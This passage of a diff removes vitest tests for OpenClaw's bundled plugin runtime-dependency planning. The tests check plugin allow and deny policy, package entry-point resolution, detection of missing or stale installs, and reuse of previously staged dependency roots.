createBundledRuntimeDepsPackagePlan({ - packageRoot: setupPolicyPackageRoot(), - config, - includeConfiguredChannels, - ...(includeEnabledByDefaultPlugins !== undefined ? { includeEnabledByDefaultPlugins } : {}), - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual(expectedDeps); - expect(result.conflicts).toEqual([]); - }, - ); - - it("honors deny and disabled entries when scanning an explicit effective plugin set", () => { - const packageRoot = setupPolicyPackageRoot(); - - const denied = createBundledRuntimeDepsPackagePlan({ - packageRoot, - pluginIds: ["telegram"], - config: { - plugins: { deny: ["telegram"] }, - channels: { telegram: { enabled: true } }, - }, - }); - const disabled = createBundledRuntimeDepsPackagePlan({ - packageRoot, - pluginIds: ["telegram"], - config: { - plugins: { entries: { telegram: { enabled: false } } }, - channels: { telegram: { enabled: true } }, - }, - }); - const allowed = createBundledRuntimeDepsPackagePlan({ - packageRoot, - pluginIds: ["telegram"], - config: { - plugins: { entries: { telegram: { enabled: true } } }, - channels: { telegram: { enabled: true } }, - }, - }); - - expect(denied.deps).toEqual([]); - expect(disabled.deps).toEqual([]); - expect(allowed.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "telegram-runtime@2.0.0", - ]); - }); - - it("trusts preselected startup plugin ids without reapplying config policy", () => { - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: setupPolicyPackageRoot(), - exactPluginIds: ["telegram"], - config: { - plugins: { allow: ["browser"] }, - channels: { telegram: { botToken: "123:abc" } }, - }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "telegram-runtime@2.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("does not stage explicitly disabled preselected channel deps", () => { - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot: setupPolicyPackageRoot(), - exactPluginIds: ["telegram"], - config: { - plugins: { allow: ["telegram"] }, - channels: { telegram: { enabled: false, botToken: "123:abc" } }, - }, - }); - - expect(result.deps).toEqual([]); - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("does not report already staged package-level runtime deps as missing", () => { - const packageRoot = setupPolicyPackageRoot(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: makeTempDir() }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["alpha-runtime@1.0.0"]); - expect(result.missing).toEqual([]); - expect(result.conflicts).toEqual([]); - }); - - it("accepts staged runtime deps with extensionless declared entry files", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "jszip"); - fs.mkdirSync(path.join(packageDir, "lib"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ name: "jszip", version: "3.10.1", main: "./lib/index" }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "lib", "index.js"), "export default {};\n", "utf8"); - - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["jszip@^3.10.1"])).not.toThrow(); - }); - - it("accepts staged runtime deps that rely on the default package entry", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ name: "alpha-runtime", version: "1.0.0" }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "index.js"), "export {};\n", "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - expect(() => - assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"]), - ).not.toThrow(); - }); - - it("accepts staged runtime deps that expose a package bin entry", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "@zed-industries", "codex-acp"); - fs.mkdirSync(path.join(packageDir, "bin"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "@zed-industries/codex-acp", - version: "0.12.0", - bin: { - "codex-acp": "bin/codex-acp.js", - }, - }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "bin", "codex-acp.js"), "#!/usr/bin/env node\n"); - writeGeneratedRuntimeDepsManifest(installRoot, ["@zed-industries/codex-acp@0.12.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["@zed-industries/codex-acp@0.12.0"])).toBe( - true, - ); - expect(() => - assertBundledRuntimeDepsInstalled(installRoot, ["@zed-industries/codex-acp@0.12.0"]), - ).not.toThrow(); - }); - - it("accepts staged runtime deps with exported package entry files", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(path.join(packageDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - exports: { - ".": { - import: "./dist/index.mjs", - require: "./dist/index.cjs", - }, - "./package.json": "./package.json", - }, - }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "dist", "index.mjs"), "export {};\n", "utf8"); - fs.writeFileSync(path.join(packageDir, "dist", "index.cjs"), "module.exports = {};\n", "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - expect(() => - assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"]), - ).not.toThrow(); - }); - - it("accepts staged runtime deps when a usable export subpath is present", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(path.join(packageDir, "dist", "esm", "client"), { recursive: true }); - fs.mkdirSync(path.join(packageDir, "dist", "cjs", "client"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - exports: { - ".": { - types: "./dist/esm/index.d.ts", - import: "./dist/esm/index.js", - require: "./dist/cjs/index.js", - }, - "./client": { - types: "./dist/esm/client/index.d.ts", - import: "./dist/esm/client/index.js", - require: "./dist/cjs/client/index.js", - }, - "./package.json": "./package.json", - }, - }), - "utf8", - ); - fs.writeFileSync( - path.join(packageDir, "dist", "esm", "client", "index.js"), - "export {};\n", - "utf8", - ); - fs.writeFileSync( - path.join(packageDir, "dist", "cjs", "client", "index.js"), - "module.exports = {};\n", - "utf8", - ); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - expect(() => - assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"]), - ).not.toThrow(); - }); - - it("does not treat type-only exports as runtime entry files", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(path.join(packageDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - exports: { - ".": { - types: "./dist/index.d.ts", - }, - "./package.json": "./package.json", - }, - }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "dist", "index.d.ts"), "export {};\n", "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(false); - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"])).toThrow( - /package manager install did not place bundled runtime deps/i, - ); - }); - - it("uses exported runtime entries before a stale main entry", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(path.join(packageDir, "dist"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - main: "./missing-main.js", - exports: { - ".": "./dist/index.js", - }, - }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "dist", "index.js"), "export {};\n", "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - expect(() => - assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"]), - ).not.toThrow(); - }); - - it("accepts staged runtime deps with exported package entry patterns", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(path.join(packageDir, "features"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - exports: { - "./features/*": "./features/*.js", - }, - }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "features", "one.js"), "export {};\n", "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - expect(() => - assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"]), - ).not.toThrow(); - }); - - it("reports staged runtime deps as missing when exported package entry files are absent", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - exports: "./dist/index.js", - }), - "utf8", - ); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(false); - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"])).toThrow( - /alpha-runtime@1\.0\.0/, - ); - }); - - it("reports staged runtime deps as missing when the default package entry is absent", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ name: "alpha-runtime", version: "1.0.0" }), - "utf8", - ); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(false); - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"])).toThrow( - /alpha-runtime@1\.0\.0/, - ); - }); - - it("reports staged runtime deps as missing when a package bin entry is absent", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - bin: { - "alpha-runtime": "bin/alpha-runtime.js", - }, - }), - "utf8", - ); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(false); - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"])).toThrow( - /alpha-runtime@1\.0\.0/, - ); - }); - - it("reports staged runtime deps as missing when a declared entry file is absent", () => { - const packageRoot = setupPolicyPackageRoot(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: makeTempDir() }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - main: "./lib/index", - }), - "utf8", - ); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "alpha-runtime@1.0.0", - ]); - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"])).toThrow( - /alpha-runtime@1\.0\.0/, - ); - }); - - it("reports staged runtime deps as missing when a declared entry directory has no entry file", () => { - const installRoot = makeTempDir(); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(path.join(packageDir, "lib"), { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ - name: "alpha-runtime", - version: "1.0.0", - main: "lib", - }), - "utf8", - ); - writeGeneratedRuntimeDepsManifest(installRoot, ["alpha-runtime@1.0.0"]); - - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(false); - expect(() => assertBundledRuntimeDepsInstalled(installRoot, ["alpha-runtime@1.0.0"])).toThrow( - /alpha-runtime@1\.0\.0/, - ); - }); - - it("reports a previous incomplete package-level install as missing", () => { - const packageRoot = setupPolicyPackageRoot(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: makeTempDir() }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const packageDir = path.join(installRoot, "node_modules", "alpha-runtime"); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ name: "alpha-runtime", version: "1.0.0" }), - "utf8", - ); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(result.installSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(result.missingSpecs).toEqual(["alpha-runtime@1.0.0"]); - }); - - it("reports staged package-level runtime deps as missing when the version is stale", () => { - const packageRoot = setupPolicyPackageRoot(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: makeTempDir() }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "0.9.0"); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "alpha-runtime@1.0.0", - ]); - expect(result.conflicts).toEqual([]); - }); - - it("creates a package-level runtime deps plan with install and missing specs", () => { - const packageRoot = setupPolicyPackageRoot(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: makeTempDir() }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - writeInstalledPackage(installRoot, "alpha-runtime", "0.9.0"); - - const plan = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - expect(plan.installRootPlan.installRoot).toBe(installRoot); - expect(plan.installSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(plan.missingSpecs).toEqual(["alpha-runtime@1.0.0"]); - }); - - it("repairs a package-level runtime deps plan through the shared materializer", async () => { - const packageRoot = setupPolicyPackageRoot(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: makeTempDir() }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: {}, - env, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "alpha-runtime", "1.0.0"); - }, - }); - - expect(result.repairedSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@1.0.0"], - installSpecs: ["alpha-runtime@1.0.0"], - }, - ]); - }); - - it("reuses a compatible previous external runtime deps root during package repair", async () => { - const packageRoot = setupPolicyPackageRoot(); - const stageDir = makeTempDir(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const previousRoot = path.join( - stageDir, - path.basename(installRoot).replace("openclaw-unknown-", "openclaw-2026.4.28-"), - ); - const progress: string[] = []; - writeInstalledPackage(previousRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(previousRoot, ["alpha-runtime@1.0.0"]); - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: {}, - env, - installDeps: () => { - throw new Error("compatible staged deps should be reused"); - }, - onProgress: (message) => progress.push(message), - }); - - expect(result.repairedSpecs).toEqual([]); - expect(result.reusedSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(result.reusedFromRoot).toBe(previousRoot); - expect(result.plan.missingSpecs).toEqual([]); - expect(progress).toEqual([ - expect.stringContaining(`Reusing bundled plugin runtime deps from ${previousRoot}`), - ]); - expect(fs.lstatSync(path.join(installRoot, "node_modules")).isSymbolicLink()).toBe(true); - expect(isRuntimeDepsPlanMaterialized(installRoot, ["alpha-runtime@1.0.0"])).toBe(true); - expect(fs.existsSync(previousRoot)).toBe(true); - expect(JSON.parse(fs.readFileSync(path.join(installRoot, "package.json"), "utf8"))).toEqual({ - name: "openclaw-runtime-deps-install", - private: true, - dependencies: { - "alpha-runtime": "1.0.0", - }, - }); - }); - - it("does not reuse a compatible previous external runtime deps root with an active install lock", async () => { - const packageRoot = setupPolicyPackageRoot(); - const stageDir = makeTempDir(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const previousRoot = path.join( - stageDir, - path.basename(installRoot).replace("openclaw-unknown-", "openclaw-2026.4.28-"), - ); - const calls: BundledRuntimeDepsInstallParams[] = []; - writeInstalledPackage(previousRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(previousRoot, ["alpha-runtime@1.0.0"]); - fs.mkdirSync(path.join(previousRoot, BUNDLED_RUNTIME_DEPS_LOCK_DIR)); - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: {}, - env, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "alpha-runtime", "1.0.0"); - }, - }); - - expect(result.reusedSpecs).toBeUndefined(); - expect(result.reusedFromRoot).toBeUndefined(); - expect(result.repairedSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@1.0.0"], - installSpecs: ["alpha-runtime@1.0.0"], - }, - ]); - expect(fs.lstatSync(path.join(installRoot, "node_modules")).isSymbolicLink()).toBe(false); - expect(fs.existsSync(previousRoot)).toBe(true); - }); - - it("does not create a reuse symlink when an earlier configured layer already satisfies the plan", async () => { - const packageRoot = setupPolicyPackageRoot(); - const readOnlyStageDir = makeTempDir(); - const writableStageDir = makeTempDir(); - const env = { - OPENCLAW_PLUGIN_STAGE_DIR: `${readOnlyStageDir}${path.delimiter}${writableStageDir}`, - }; - const plan = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - const readOnlyRoot = plan.installRootPlan.searchRoots[0]; - writeInstalledPackage(readOnlyRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(readOnlyRoot, ["alpha-runtime@1.0.0"]); - const completedPlan = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env, - }); - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: {}, - env, - installDeps: () => { - throw new Error("satisfied layered deps should not install"); - }, - }); - - expect(completedPlan.missingSpecs).toEqual([]); - expect(result.repairedSpecs).toEqual([]); - expect(result.reusedSpecs).toBeUndefined(); - expect(fs.existsSync(path.join(plan.installRootPlan.installRoot, "node_modules"))).toBe(false); - }); - - it("does not reuse a previous external runtime deps root for a changed dependency plan", async () => { - const packageRoot = setupPolicyPackageRoot(); - const stageDir = makeTempDir(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const previousRoot = path.join( - stageDir, - path.basename(installRoot).replace("openclaw-unknown-", "openclaw-2026.4.28-"), - ); - writeInstalledPackage(previousRoot, "alpha-runtime", "0.9.0"); - writeGeneratedRuntimeDepsManifest(previousRoot, ["alpha-runtime@0.9.0"]); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: {}, - env, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "alpha-runtime", "1.0.0"); - }, - }); - - expect(result.repairedSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(calls).toEqual([ - { - installRoot, - missingSpecs: ["alpha-runtime@1.0.0"], - installSpecs: ["alpha-runtime@1.0.0"], - }, - ]); - expect(fs.lstatSync(path.join(installRoot, "node_modules")).isSymbolicLink()).toBe(false); - expect(fs.existsSync(previousRoot)).toBe(false); - }); - - it("does not reuse a compatible external runtime deps root from a different package key", async () => { - const packageRoot = setupPolicyPackageRoot(); - const stageDir = makeTempDir(); - const env = { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }; - const installRoot = resolveBundledRuntimeDependencyPackageInstallRoot(packageRoot, { env }); - const previousRoot = path.join( - stageDir, - path.basename(installRoot).replace(/-[0-9a-f]{12}$/u, "-ffffffffffff"), - ); - writeInstalledPackage(previousRoot, "alpha-runtime", "1.0.0"); - writeGeneratedRuntimeDepsManifest(previousRoot, ["alpha-runtime@1.0.0"]); - const calls: BundledRuntimeDepsInstallParams[] = []; - - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: {}, - env, - installDeps: (params) => { - calls.push(params); - writeInstalledPackage(params.installRoot, "alpha-runtime", "1.0.0"); - }, - }); - - expect(result.reusedSpecs).toBeUndefined(); - expect(result.reusedFromRoot).toBeUndefined(); - expect(result.repairedSpecs).toEqual(["alpha-runtime@1.0.0"]); - expect(calls).toHaveLength(1); - expect(fs.lstatSync(path.join(installRoot, "node_modules")).isSymbolicLink()).toBe(false); - }); - - it("reads each bundled plugin manifest once per runtime-deps scan", () => { - const packageRoot = makeTempDir(); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "alpha", - deps: { "alpha-runtime": "1.0.0" }, - enabledByDefault: true, - channels: ["alpha"], - }); - const manifestPath = path.join(pluginRoot, "openclaw.plugin.json"); - const readFileSyncSpy = vi.spyOn(fs, "readFileSync"); - - createBundledRuntimeDepsPackagePlan({ packageRoot, config: {} }); - - expect( - readFileSyncSpy.mock.calls.filter((call) => path.resolve(String(call[0])) === manifestPath), - ).toHaveLength(1); - }); - - it("reports declared package mirror deps for doctor repair", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { semver: "7.7.4", tslog: "^4.10.2" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["semver", "tslog"], - }, - }, - }), - ); - writeBundledPluginPackage({ - packageRoot, - pluginId: "discord", - deps: { "discord-runtime": "1.0.0" }, - enabledByDefault: true, - }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "discord-runtime@1.0.0", - "semver@7.7.4", - "tslog@^4.10.2", - ]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "discord-runtime@1.0.0", - "semver@7.7.4", - "tslog@^4.10.2", - ]); - }); - - it("reports declared package mirror deps even when no plugin deps are selected", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { jiti: "^2.6.1" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["jiti"], - }, - }, - }), - ); - fs.mkdirSync(path.join(packageRoot, "dist", "extensions"), { recursive: true }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["jiti@^2.6.1"]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["jiti@^2.6.1"]); - }); - - it("includes selected plugin deps that can be used by mirrored root chunks", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { chokidar: "^5.0.0" }, - }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "^5.0.0" }, - enabledByDefault: true, - }); - fs.writeFileSync(path.join(pluginRoot, "index.js"), `import "../../refresh-CZ2n5WoB.js";\n`); - fs.writeFileSync( - path.join(packageRoot, "dist", "refresh-CZ2n5WoB.js"), - `import chokidar from "chokidar";\n`, - ); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: {}, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["chokidar@^5.0.0"]); - expect(result.deps[0]?.pluginIds).toEqual(["memory-core"]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual(["chokidar@^5.0.0"]); - }); - - it("does not include inactive bundled plugin deps", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { chokidar: "^5.0.0" }, - }), - ); - const memoryRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "memory-core", - deps: { chokidar: "^5.0.0" }, - }); - fs.writeFileSync(path.join(memoryRoot, "index.js"), `import "../../refresh-CZ2n5WoB.js";\n`); - writeBundledPluginPackage({ - packageRoot, - pluginId: "slack", - deps: {}, - channels: ["slack"], - }); - fs.writeFileSync( - path.join(packageRoot, "dist", "refresh-CZ2n5WoB.js"), - `import chokidar from "chokidar";\n`, - ); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - exactPluginIds: ["slack"], - config: { - channels: { slack: { botToken: "xoxb-token" } }, - }, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps).toEqual([]); - expect(result.missing).toEqual([]); - }); - - it("reports declared root package deps for mirrored root chunks", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { - chalk: "^5.6.2", - jiti: "^2.6.1", - json5: "^2.2.3", - }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["chalk", "jiti", "json5"], - }, - }, - }), - ); - const pluginRoot = writeBundledPluginPackage({ - packageRoot, - pluginId: "whatsapp", - deps: { "@whiskeysockets/baileys": "7.0.0-rc.9" }, - channels: ["whatsapp"], - }); - writeBundledPluginPackage({ - packageRoot, - pluginId: "matrix", - deps: { jiti: "^2.6.1" }, - channels: ["matrix"], - }); - fs.writeFileSync( - path.join(pluginRoot, "setup-entry.js"), - `import "../../theme.js";\nimport "openclaw/plugin-sdk/setup";\n`, - ); - fs.mkdirSync(path.join(packageRoot, "dist", "plugin-sdk"), { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "dist", "plugin-sdk", "setup.js"), - `import "../bundled-plugin-metadata.js";\nimport "../redact.js";\n`, - ); - fs.writeFileSync( - path.join(packageRoot, "dist", "bundled-plugin-metadata.js"), - `import { createJiti } from "jiti";\nvoid createJiti;\n`, - ); - fs.writeFileSync(path.join(packageRoot, "dist", "redact.js"), `import JSON5 from "json5";\n`); - fs.writeFileSync(path.join(packageRoot, "dist", "theme.js"), `import chalk from "chalk";\n`); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - exactPluginIds: ["whatsapp"], - config: { - channels: { whatsapp: { enabled: true } }, - }, - env: { OPENCLAW_PLUGIN_STAGE_DIR: stageDir }, - }); - - expect(result.deps.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "@whiskeysockets/baileys@7.0.0-rc.9", - "chalk@^5.6.2", - "jiti@^2.6.1", - "json5@^2.2.3", - ]); - expect(result.deps.map((dep) => dep.pluginIds)).toEqual([ - ["whatsapp"], - ["openclaw-core"], - ["openclaw-core"], - ["openclaw-core"], - ]); - expect(result.missing.map((dep) => `${dep.name}@${dep.version}`)).toEqual([ - "@whiskeysockets/baileys@7.0.0-rc.9", - "chalk@^5.6.2", - "jiti@^2.6.1", - "json5@^2.2.3", - ]); - }); - - it("reports declared package mirror deps for startup plugins without own deps", () => { - const packageRoot = makeTempDir(); - const stageDir = makeTempDir(); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ - name: "openclaw", - version: "2026.4.25", - dependencies: { semver: "7.7.4", tslog: "^4.10.2" }, - openclaw: { - bundle: { - mirroredRootRuntimeDependencies: ["semver", "tslog"], - }, - }, - }), - ); - writeBundledPluginPackage({ - packageRoot, - pluginId: "slack", - deps: {}, - channels: ["slack"], - }); - - const result = createBundledRuntimeDepsPackagePlan({ - packageRoot, - exactPluginIds: ["slack"], - 